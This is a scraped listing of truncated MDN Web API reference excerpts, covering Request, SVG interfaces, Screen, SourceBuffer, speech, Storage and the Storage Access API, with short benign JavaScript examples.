the reporting api provides a generic reporting mechanism for web applications to use to make reports available based on various platform features (for example content security policy, feature-policy, or feature deprecation reports) in a consistent manner. concepts and usage there are a number of different features and problems on the web platform that generate information useful to web developers when they are trying to fix bugs or improve their websites in other ways. such information can include: content security policy violations. feature-policy violations. deprecated feature usage (when you are using something that will stop working soon in browsers). occurrence of crashes. occurrence of user-agent interventions (when the browser blocks something your code is trying to do be...
Request() - Web APIs
Web › API › Request › Request
ny custom settings that you want to apply to the request. the possible options are: method: the request method, e.g., get, post. the default is get. headers: any headers you want to add to your request, contained within a headers object or an object literal with bytestring values. body: any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode: the mode you want to use for the request, e.g., cors, no-cors, same-origin, or navigate. the default is cors. credentials: the request credentials you want to use for the request: omit, same-origin, or include. the default is same-origin. cache: the cache mode you want to use for...
Request.referrer - Web APIs
Web › API › Request › referrer
the referrer read-only property of the request interface is set by the user agent to be the referrer of the request. (e.g., client, no-referrer, or a url.) note: if referrer's value is no-referrer, it returns an empty string. syntax var myreferrer = request.referrer; value a domstring representing the request's referrer. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification. living standard ...
Request.referrerPolicy - Web APIs
for more information and possible values, see the referrer-policy http header page. ...
Request - Web APIs
Web › API › Request
you could then fetch this api request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example and get the response: fetch(request) .then(response => { if (response.status === 200) { return response.json(); } else { ...
Resize Observer API - Web APIs
ent after a resize using element.getboundingclientrect or window.getcomputedstyle, for example. such a solution tends to only work for limited use cases, be bad for performance (continually calling the above methods would result in a big performance hit), and often won't work when the browser window size is not changed. the resize observer api provides a solution to exactly these kinds of problems, and more besides, allowing you to easily observe and respond to changes in the size of an element’s content or border box in a performant way. it provides a javascript solution to the often-discussed lack of element queries in the web platform. usage is simple, and pretty much the same as other observers, such as performance observer or intersection observer — you create a new resizeobserve...
Using the Resource Timing API - Web APIs
formance.clearresourcetimings(); } else { console.log("... performance.clearresourcetiming() = not supported"); return; } // getentries should now return zero var p = performance.getentriesbytype("resource"); if (p.length == 0) console.log("... performance data buffer cleared"); else console.log("... ...
Response() - Web APIs
Web › API › Response › Response
the response() constructor creates a new response object. syntax var myresponse = new response(body, init); parameters body optional an object defining a body for the response. this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). the possible options are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for ...
format - Web APIs
it has the same meaning as the 'format' property of svgglyphrefelement property. if the font is in one of the formats listed in css2([css2], section15.3.5), then its value is the corresponding <string> parameter of the font. syntax string = myglyph.format; myglyph.format = string; value the format values listed below are taken from css2([css2], section15.3.5). ...
SVGAltGlyphElement.glyphRef - Web APIs
it has the same meaning as the ‘glyphref’ property on the svgglyphrefelement interface of the <glyphref> element. syntax string = myglyph.glyphref; myglyph.glyphref = string; value the return value is a glyph identifier, the value of which depends on the format of the given font. ...
SVGAngle - Web APIs
Web › API › SVGAngle
value as a floating point value, in the units expressed by unittype. setting this attribute will cause value and valueasstring to be updated automatically to reflect this setting. exceptions on setting: a domexception with code no_modification_allowed_err is raised when the length corresponds to a read-only attribute, or when the object itself is read-only. valueasstring the value as a domstring value, in the units expressed by unittype. setting this attribute will cause value, valueinspecifiedunits, and unittype to be updated automatically to reflect this setting. exceptions on setting: a domexception with code syntax_err is raised if the assigned string cannot be parsed as a valid <angle>. a domexception with code no_modification_allowed_err is raised when the length corre...
SVGAnimationElement: beginEvent event - Web APIs
lector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin = () => { console.log('beginevent fired'); } specifications speci...
SVGAnimationElement: endEvent event - Web APIs
listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('endevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'endevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler p...
SVGAnimationElement: repeatEvent event - Web APIs
elector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onrepeat event handler property: animateelem.onrepeat = () => { console.log('repeatevent fired'); } specifications s...
SVGColorProfileElement - Web APIs
svgcolorprofileelement.renderingintent an unsigned short corresponding to the rendering-intent attribute of the given element. it takes one of the rendering_intent_* constants defined on the svgrenderingintent interface that corresponds to the value of the rendering-intent attribute. ...
SVGElement - Web APIs
these can also be defined in svg using attributes of the form data-*, where * is the key name for the pair. this works just like html's htmlelement.dataset property and html's data-* global attribute. svgelement.classname read only an svganimated...
SVGEvent - Web APIs
Web › API › SVGEvent
the svgevent interface represents the event object for most svg-related events. properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
SVGGlyphRefElement - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements properties from svgurireference and svgstylable. svgglyphrefelement.glyphref a domstring corresponding to the glyphref attribute of the given element. svgglyphrefelement.format a domstring corresponding to the format attribute of the given element. svgglyphrefelement.x a float corresponding to the x attribute of the given element. svgglyphrefelement.y a float corresponding to the y attribute of the given element. svgglyphrefelement.dx a float corresponding to the dx attr...
SVGGraphicsElement - Web APIs
t reflecting the computed value of the transform property and its corresponding transform attribute of the given element. methods this interface also inherits methods from its parent, svgelement. svggraphicselement.getbbox() returns a domrect representing the computed bounding box of the current element. svggraphicselement.getctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to its svg viewport's coordinate system. svggraphicselement.getscreenctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment. specifications specification status comment scalable vector graphics (svg) ...
SVGImageElement - Web APIs
roke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement. svgimageelement.crossorigin a domstring corresponding to the crossorigin attribute of the given <image> element. svgimageelement.decoding returns a domstring representing a hint given to the browser on how it should decode the image. svgimageelement.height read only an svganimatedlength corresponding to the height attribute of the given <image> element. svgimageelement.preserveaspectratio read only an svganimatedpreserveas...
SVGMatrix - Web APIs
Web › API › SVGMatrix
e a component of the matrix. svgmatrix.b a float representing the b component of the matrix. svgmatrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a float representing the f component of the matrix. methods svgmatrix.multiply() performs matrix multiplication. this matrix is post-multiplied by another matrix, returning the resulting new matrix as svgmatrix. svgmatrix.inverse() returns the inverse matrix as svgmatrix. svgmatrix.translate() post-multiplies a translation transformation on the current matrix and returns the resulting matrix as svgmatrix. svgmatrix.scale() post-multiplies a uniform scale transformation on the cu...
SVGSVGElement - Web APIs
values in the coordinate system of the parent document. (if the parent uses css or xsl layout, then unitless values represent pixel units for the current css or xsl viewport.) svgsvgelement.pixelunittomillimeterx a float representing the size of the pixel unit (as defined by css2) along the x-axis of the viewport, which represents a unit somewhere in the range of 70dpi to 120dpi, and, on systems that support this, might actually match the characteristics of the target medium. on systems where it is impossible to know the size of a pixel, a suitable default pixel size is provided. svgsvgelement.pixelunittomillimetery a float representing the size of a pixel unit along the y-axis of the viewport. svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indic...
SVGViewElement - Web APIs
the svgviewelement interface provides access to the properties of <view> elements, as well as methods to manipulate them. properties this interface also inherits properties from its parent interface, svgelement. svgviewelement.viewtarget an svgstringlist corresponding to the viewtarget attribute of the given <view> element. a list of domstring values which contain the names listed in the viewtarget attribute. each of the domstring values can be associated with the corresponding element using the getelementbyid() method call. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgviewelement' i...
Screen.orientation - Web APIs
the orientation read-only property of the screen interface returns the current orientation of the screen. syntax var orientation = window.screen.orientation; return value an instance of screenorientation representing the orientation of the screen. note that older, prefixed versions returned a domstring equivalent to screenorientation.type. example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh... the screen is upside down!"); } else if (orientation === "portrait-secondary" || orientation === "portrait-primary") { console.log("mmmh... you should rotate your device to landscape"); ...
Screen.unlockOrientation() - Web APIs
should be used instead. note: this method only works for installed web apps or for web pages in full-screen mode. syntax var unlocked = window.screen.unlockorientation(); return value returns true if the orientation was successfully unlocked or false if the orientation couldn't be unlocked. example var unlockorientation = screen.unlockorientation || screen.mozunlockorientation || screen.msunlockorientation || (screen.orientation && screen.orientation.unlock); if (unlockorientation()) { // orientation was unlocked } else { // orientation unlock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification. working draft initial definition (not present in the draft anymo...
Screen - Web APIs
Web › API › Screen
vent type on the eventtarget. eventtarget.removeeventlistener() removes an event listener from the eventtarget. eventtarget.dispatchevent() dispatches an event to this eventtarget. additional methods in mozilla chrome codebase mozilla includes a couple of extensions for use by js-implemented event targets to implement onevent properties. see also webidl bindings. void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen' in that specification. working draft initial definition...
ScriptProcessorNode - Web APIs
h are defined by audiocontext.createscriptprocessor()'s buffersize parameter). the buffer size must be a power of 2 between 256 and 16384, that is 256, 512, 1024, 2048, 4096, 8192 or 16384. small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches. if the buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode. scriptprocessornode.buffersize read only returns an integer representing both the input and output buf...
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
eventinitdict optional a dictionary object containing information about the properties of the securitypolicyviolationevent to be constructed. ...
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
the effectivedirective read-only property of the securitypolicyviolationevent interface is a domstring representing the directive whose enforcement uncovered the violation. syntax let effdir = violationeventinstance.effectivedirective; value a domstring representing the directive whose enforcement uncovered the violation. example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification. working draft initial definition ...
SecurityPolicyViolationEvent.originalPolicy - Web APIs
the originalpolicy read-only property of the securitypolicyviolationevent interface is a domstring containing the policy whose enforcement uncovered the violation. syntax let origpolicy = violationeventinstance.originalpolicy; value a domstring representing the policy whose enforcement uncovered the violation. example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification. working draft initial definition ...
SecurityPolicyViolationEvent.violatedDirective - Web APIs
the violateddirective read-only property of the securitypolicyviolationevent interface is a domstring representing the directive whose enforcement uncovered the violation. syntax let violateddir = violationeventinstance.violateddirective; value a domstring representing the directive whose enforcement uncovered the violation. example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification. working draft initial definition ...
Selection.type - Web APIs
Web › API › Selection › type
possible values are: none: no selection has currently been made. caret: the selection is collapsed (i.e. the caret is placed on some text, but no range has been selected). range: a range has been selected. example in this example, the event handler will fire each time a new selection is made. console.log(selection.type) will return caret or range depending on whether the caret is placed at a single point in the text, or a range has been selected. ...
Sensor APIs - Web APIs
her apis. the presence of a sensor api does not tell you whether that api is connected to a real hardware sensor, whether that sensor works, if it's still connected, or even whether the user has granted access to it. making all this information consistently available is costly to performance and battery life. therefore, feature detection for sensor apis must include both detection of the apis themselves and defensive programming strategies (see below). the examples below show three methods for detecting sensor apis. additionally you can put object instantiation inside a try...catch block. notice that detection through the navigator interface is not one of the available options. if (typeof gyroscope === "function") { // run in circles... } if ("proximitysensor" in window) { // wat...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
important: in modern browsers, this property has been deprecated. service worker messages will now use the messageevent interface, for consistency with other web messaging features. the serviceworkermessageevent() constructor creates a new serviceworkermessageevent object instance. syntax var myswme = new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created. init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. source: the servicewo...
ServiceWorkerMessageEvent.lastEventId - Web APIs
wsers, this property has been deprecated. service worker messages will now use the messageevent interface, for consistency with other web messaging features. the lasteventid read-only property of the serviceworkermessageevent interface represents, in server-sent events, the last event id of the event source. syntax var mylasteventid = serviceworkermessageeventinstance.lasteventid; value a domstring. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... // set up a message channel to communicate with the sw var channel = new messagechannel();...
ServiceWorkerMessageEvent.origin - Web APIs
nt: in modern browsers, this property has been deprecated. service worker messages will now use the messageevent interface, for consistency with other web messaging features. the origin read-only property of the serviceworkermessageevent interface returns the origin of the service worker's environment settings object. syntax var myorigin = serviceworkermessageeventinstance.origin; value a domstring. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... // set up a message channel to communicate with the sw var channel = new messagechannel();...
ServiceWorkerRegistration.getNotifications() - Web APIs
gistrations. notifications created by one service worker on the same origin will not be available to other active services workers on that same origin. syntax s​erviceworkerregistration.getnotifications(options) .then(function(notificationslist) { ... }); parameters options optional an object containing options to filter the notifications returned. the available options are: tag: a domstring representing a notification tag. if specified, only notifications that have this tag will be returned. return value a promise that resolves to a list of notification objects. example navigator.serviceworker.register('sw.js'); var options = { tag : 'user_alerts' }; navigator.serviceworker.ready.then(function(registration) { registration.getnotifications(options).then(function(not...
ShadowRoot.innerHTML - Web APIs
the innerhtml property of the shadowroot interface sets or returns a reference to the dom tree inside the shadowroot. syntax var domstring = shadowroot.innerhtml shadowroot.innerhtml = domstring value a domstring. examples let customelem = document.queryselector('my-shadow-dom-element'); let shadow = customelem.shadowroot; shadow.innerhtml = '<strong>this element should be more important!</strong>'; specifications this property is not defined by any specifications yet; see this open spec issue to specify it. ...
SharedWorkerGlobalScope.name - Web APIs
the name read-only property of the sharedworkerglobalscope interface returns the name that the sharedworker was (optionally) given when it was created. this is the name that the sharedworker() constructor can pass to get a reference to the sharedworkerglobalscope. syntax var nameobj = self.name; value a domstring. example if a shared worker is created using a constructor with a name option: var myworker = new sharedworker("worker.js", { name : "mysharedworker" }); the sharedworkerglobalscope will now have a name of "mysharedworker", returnable by running self.name from inside the shared worker. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard ...
SourceBuffer.abort() - Web APIs
parameters none. return value undefined. exceptions exception explanation invalidstateerror the mediasource.readystate property of the parent media source is not equal to open, or this sourcebuffer has been removed from the mediasource. example the spec description of abort() is somewhat confusing — consider for example step 1 of reset parser state. the mse api is fully asynchronous, but this step seems to suggest a synchronous (blocking) operation, which doesn't make sense. saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then immediately start performing operations on it again. for example, consider this code: sourcebuffer.a...
SourceBuffer.appendBufferAsync() - Web APIs
urcebuffer. return value a promise which is fulfilled when the buffer has been added successfully to the sourcebuffer, or null if the request could not be initiated. example this simplified example async function, fillsourcebuffer(), takes as input parameters buffersource, buffer, and a sourcebuffer to which to append the source media from the buffer. async function fillsourcebuffer(buffer, msbuffer) { try { while(true) { await msbuffer.appendbufferasync(buffer); } } catch(e) { handleexception(e); } } specifications not currently part of any specification. this is being experimented with under the auspices of the web platform incubator community group (wicg). specification status comment media source extensions recommendation in...
SourceBuffer.changeType() - Web APIs
re calls to appendbuffer() should expect the new media data to conform to. this makes it possible to change codecs or container type mid-stream. one scenario in which this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change. syntax sourcebuffer.changetype(type); parameters type a domstring specifying the mime type that future buffers will conform to. return value undefined. exceptions typeerror the specified string is empty, rather than indicating a valid mime type. invalidstateerror the sourcebuffer is not a member of the parent media source's sourcebuffers list, or the buffer's updating property indicates that a previously queued appendbuffer() or remove() is still...
SourceBuffer.mode - Web APIs
Web › API › SourceBuffer › mode
der must be maintained in sequence mode. you can, however, change the value from segments to sequence. it just means the play order will be fixed, and new timestamps generated to reflect this. this property cannot be changed during while the sourcebuffer is processing either an appendbuffer() or remove() call. syntax var mymode = sourcebuffer.mode; sourcebuffer.mode = 'sequence'; value a domstring. exceptions the following exceptions may be thrown when setting a new value for this property. exception explanation invalidaccesserror an attempt was made to set the value to segments when the initial value is sequence. invalidstateerror the sourcebuffer object is being updated (i.e. its sourcebuffer.updating property is currently true), the last m...
SourceBuffer.removeAsync() - Web APIs
s. end a double representing the end of the time range, in seconds. return value a promise whose fulfillment handler is executed once the buffers in the specified time range have been removed from the sourcebuffer. example this example establishes an asynchronous function, emptysourcebuffer(), which simply clears the contents of the specified sourcebuffer. async function emptysourcebuffer(msbuffer) { await msbuffer.removeasync(0, infinity).catch(function(e) { handleexception(e); } } specifications not currently part of the mse specification. specification status comment media source extensions recommendation initial definition. ...
SourceBuffer - Web APIs
this range will be appended, whereas those outside the range will be filtered out. sourcebuffer.audiotracks read only a list of the audio tracks currently contained inside the sourcebuffer. sourcebuffer.buffered read only returns the time ranges that are currently buffered in the sourcebuffer. sourcebuffer.mode controls how the order of media segments in the sourcebuffer is handled, in terms of whether they can be appended in any order, or they have to be kept in a strict sequence. sourcebuffer.texttracks read only a list of the text tracks currently contained inside the sourcebuffer. sourcebuffer.timestampoffset controls the offset applied to timestamps inside media segments that are subsequently appended to the sourcebuffer. sourcebuffer.trackdefaults specifies the default v...
SpeechRecognition.serviceURI - Web APIs
examples var recognition = new speechrecognition(); recognition.serviceuri = 'http://www.example.com'; ... ...
SpeechRecognitionAlternative.confidence - Web APIs
syntax var myconfidence = speechrecognitionalternativeinstance.confidence; returns a number betwen 0 and 1. examples this code is excerpted from our speech color changer example. ...
SpeechRecognitionAlternative.transcript - Web APIs
the speechrecognitionresult interface returns a string containing the transcript of the recognised word(s). for continuous recognition, leading or trailing whitespace will be included where necessary so that concatenation of consecutive speechrecognitionresults produces a proper transcript of the session. syntax var mytranscript = speechrecognitionalternativeinstance.transcript; returns a domstring. examples this code is excerpted from our speech color changer example. recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. // it has a getter so it can be accessed like an array // the first [0] returns the speechreco...
SpeechRecognitionError.error - Web APIs
the possible error types are: no-speech no speech was detected. ...
SpeechRecognitionError.message - Web APIs
the message read-only property of the speechrecognitionerror interface returns a message describing the error in more detail. this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification. syntax var myerrormsg = event.message; value a domstring containing more details about the error that was raised. note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionErrorEvent.error - Web APIs
the possible error types are: no-speech no speech was detected. aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input. audio-capture audio capture failed. network network communication required for completing the recognition failed. ...
SpeechSynthesisErrorEvent.error - Web APIs
possible codes are: canceled a speechsynthesis.cancel method call caused the speechsynthesisutterance to be removed from the queue before it had begun being spoken. interrupted a speechsynthesis.cancel method call caused the speechsynthesisutterance to be interrupted after it had begun being spoken and before it completed. ...
SpeechSynthesisEvent.name - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification. draft ...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
examples the following snippet is excerpted from our speech synthesizer demo. ...
SpeechSynthesisUtterance.lang - Web APIs
the lang property of the speechsynthesisutterance interface gets and sets the language of the utterance. if unset, the app's (i.e. the <html> lang value) lang will be used, or the user-agent default if that is unset too. syntax var mylang = speechsynthesisutteranceinstance.lang; speechsynthesisutteranceinstance.lang = 'en-us'; value a domstring representing a bcp 47 language tag. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.
SpeechSynthesisUtterance.text - Web APIs
the speechsynthesisutterance interface gets and sets the text that will be synthesised when the utterance is spoken. the text may be provided as plain text, or a well-formed ssml document. the ssml tags will be stripped away by devices that don't support ssml. syntax var mytext = speechsynthesisutteranceinstance.text; speechsynthesisutteranceinstance.text = 'hello i am speaking'; value a domstring representing the text to the synthesised. the maximum length of the text that can be spoken in each utterance is 32,767 characters. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... inputform.onsubmit = func...
SpeechSynthesisVoice.lang - Web APIs
the lang read-only property of the speechsynthesisvoice interface returns a bcp 47 language tag indicating the language of the voice. syntax var mylang = speechsynthesisvoiceinstance.lang; value a domstring representing the language of the device. examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification. draft ...
SpeechSynthesisVoice.name - Web APIs
the name read-only property of the speechsynthesisvoice interface returns a human-readable name that represents the voice. syntax var voicename = speechsynthesisvoiceinstance.name; value a domstring representing the name of the voice. examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification. draft ...
SpeechSynthesisVoice.voiceURI - Web APIs
this is a generic uri and can point to local or remote services, e.g. it could be a proprietary system urn or a a url to a remote service. ...
Storage.getItem() - Web APIs
Web › API › Storage › getItem
the getitem() method of the storage interface, when passed a key name, will return that key's value, or null if the key does not exist, in the given storage object. syntax var avalue = storage.getitem(keyname); parameters keyname a domstring containing the name of the key you want to retrieve the value of. return value a domstring containing the value of the key. if the key does not exist, null is returned. example the following function retrieves three data items from local storage, then uses them to set custom styles on a page. function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.g...
Storage.key() - Web APIs
Web › API › Storage › key
the key() method of the storage interface, when passed a number n, returns the name of the nth key in a given storage object. the order of keys is user-agent defined, so you should not rely on it. syntax var akeyname = storage.key(index); parameters index an integer representing the number of the key you want to get the name of. this is a zero-based index. return value a domstring containing the name of the key. if the index does not exist, null is returned. examples the following function iterates over the local storage keys: function foreachkey(callback) { for (var i = 0; i < localstorage.length; i++) { callback(localstorage.key(i)); } } the following function iterates over the local storage keys and gets the value set for each key: for(var i =0; i < localstorage.le...
Storage.length - Web APIs
Web › API › Storage › length
the length read-only property of the storage interface returns the number of data items stored in a given storage object. syntax length = storage.length; return value the number of items stored in the storage object. example the following function adds three data items to the local storage for the current domain, then returns the number of items in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.length' in that specification. li...
Storage.removeItem() - Web APIs
the removeitem() method of the storage interface, when passed a key name, will remove that key from the given storage object if it exists. the storage interface of the web storage api provides access to a particular domain's session or local storage. if there is no item associated with the given key, this method will do nothing. syntax storage.removeitem(keyname); parameters keyname a domstring containing the name of the key you want to remove. return value undefined. example the following function creates three data items inside local storage, then removes the image data item. function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); localstorage.removeitem('image'); } ...
StorageEstimate - Web APIs
these values are only estimates for several reasons, including both performance and preventing storage capacity data from being used for fingerprinting purposes. see the individual property pages for details. ...
StorageManager.estimate() - Web APIs
and how much space is available (quota). this method operates asynchronously, so it returns a promise which resolves once the information is available. the promise's fulfillment handler is called with a storageestimate containing the usage and quota data. syntax const estimatepromise = storagemanager.estimate(); parameters none. return value a promise that resolves to an object which conforms to the storageestimate dictionary. this dictionary contains estimates of how much space is available to the origin in storageestimate.quota, as well as how much is currently used in storageestimate.usage. the returned values are not exact; between compression, deduplication, and obfuscation for security reasons, they will be imprecise. you may find that the quota varies from origin to origin.
Storage API - Web APIs
. data persistence and clearing if the site or app has the "persistent-storage" feature permission, it can use the storagemanager.persist() method to request that its box be made persistent. it's also possible for the user agent to decide to make the site's storage unit persistent due to usage characteristics or other metrics. the "persistent-storage" feature's permission-related flags, algorithms, and types are all set to the standard defaults for a permission, except that the permission state must be the same across the entire origin, and that if the permission state isn't "granted" (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always "best-effort". note: see using the permissions api for further de...
Using the Storage Access API - Web APIs
alse, we can then call document.requeststorageaccess(), returning the result so that then we can chain it onto the previous promise call. in the final then, we'll have first-party storage access. document.hasstorageaccess().then(hasaccess => { if (!hasaccess) { return document.requeststorageaccess(); } }).then(_ => { // now we have first-party storage access! // let's access some items from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("username", "john"); // access a localstorage entry }).catch(_ => { // error obtaining storage access. }); note that access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click — so this code needs to be run ...
Storage Access API - Web APIs
that origin. access requests are automatically denied if the browser detects that the user hasn’t interacted with the embedded content in a first-party context recently (in firefox, "recently" is "within 30 days"). the browser may decide to involve the user in the decision of whether to grant an incoming storage access request. specifics regarding the lifetime of a storage grant and the circumstances under which the browser may decide to inform the user are currently being worked through and will be announced once ready. user prompts when requeststorageaccess() is called by an embedded, cross-origin document, the user agent may choose to involve the user in the decision of whether to grant storage access to the requesting origin. prompting heuristics currently vary across the two impl...
SubmitEvent() - Web APIs
for submitevent, this is always submit. eventinitdict optional an optional dictionary of initial values for the event's properties. return value a submitevent object configured using the given inputs. ...
SyncManager.getTags() - Web APIs
parameters none. ...
TaskAttributionTiming.containerName - Web APIs
the containername readonly property of the taskattributiontiming interface returns the container's name attribute. a container is the iframe, embed or object etc. that is being implicated, on the whole, for a long task. syntax var containername = taskattributiontiming.containername; value a domstring containing the container's name attribute. specifications specification status comment long tasks api 1the definition of 'containername' in that specification. working draft initial definition. ...
TaskAttributionTiming.containerSrc - Web APIs
the containersrc readonly property of the taskattributiontiming interface returns the container's src attribute. a container is the iframe, embed or object etc. that is being implicated, on the whole, for a long task. syntax var containersrc = taskattributiontiming.containersrc; value a domstring containing the container's src attribute. specifications specification status comment long tasks api 1the definition of 'containersrc' in that specification. working draft initial definition. ...
Text() - Web APIs
Web › API › Text › Text
the text() constructor returns a newly created text object with the optional domstring given in parameter as its textual content. syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification. living standard initial definition. ...
Text.wholeText - Web APIs
Web › API › Text › wholeText
